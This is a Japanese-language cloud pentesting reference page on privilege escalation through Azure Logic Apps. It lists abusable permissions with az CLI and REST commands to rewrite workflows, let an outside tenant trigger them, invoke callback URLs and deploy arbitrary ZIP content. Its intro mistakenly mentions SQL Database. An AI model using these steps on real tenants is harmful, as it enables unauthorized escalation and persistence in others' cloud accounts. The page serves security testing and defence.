# Az - Logic Apps Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Logic Apps Privesc
SQL Databaseに関する詳細情報は、以下を確認してください：

{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}

### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)

この権限を持つことで、Azure Logic Appsワークフローを作成または更新できます。ワークフローは、さまざまなシステムやサービス間の自動化されたプロセスと統合を定義します。
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>

az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
変更した後、次のコマンドで実行できます:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
`Microsoft.Logic/workflows/write` を使用することで、Authorization Policy を変更でき、例えば別のテナントにワークフローをトリガーする能力を与えることができます。
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group-name>/providers/Microsoft.Logic/workflows/<workflow-name>?api-version=2016-10-01" \
--body '{
"location": "<region>",
"properties": {
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"$connections": {
"defaultValue": {},
"type": "Object"
}
},
"triggers": {
"<trigger-name>": {
"type": "Request",
"kind": "Http"
}
},
"actions": {},
"outputs": {}
},
"accessControl": {
"triggers": {
"openAuthenticationPolicies": {
"policies": {
"<policy-name>": {
"type": "AAD",
"claims": [
{
"name": "iss",
"value": "<issuer-url>"
}
]
}
}
}
}
}
}
}'

```
### `Microsoft.Logic/workflows/triggers/listCallbackUrl/action`
トリガーのコールバックURLを取得して実行できます。
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.Logic/workflows/<workflow_name>/triggers/<trigger_name>/listCallbackUrl?api-version=2019-05-01"
```
これにより、`https://prod-28.centralus.logic.azure.com:443/workflows/....` のようなコールバックURLが返されます。これを次のように実行できます:
```bash
curl --request POST \
--url "https://prod-28.centralus.logic.azure.com:443/workflows/<workflow_id>/triggers/<trigger_name>/paths/invoke?api-version=2019-05-01&sp=%2Ftriggers%2F<trigger_name>%2Frun&sv=1.0&sig=<signature>" \
--header 'Content-Type: application/json' \
--data '{"exampleKey": "exampleValue"}'
```
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
これらの権限を持つことで、ZIPファイルデプロイメントを使用してLogic Appワークフローをデプロイできます。これらの権限は、アプリの詳細を読み取る、発行資格情報にアクセスする、変更を加える、アプリの構成を一覧表示するなどのアクションを可能にします。スタート権限とともに、希望するコンテンツで新しいLogic Appを更新およびデプロイできます。
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{{#include ../../../banners/hacktricks-training.md}}
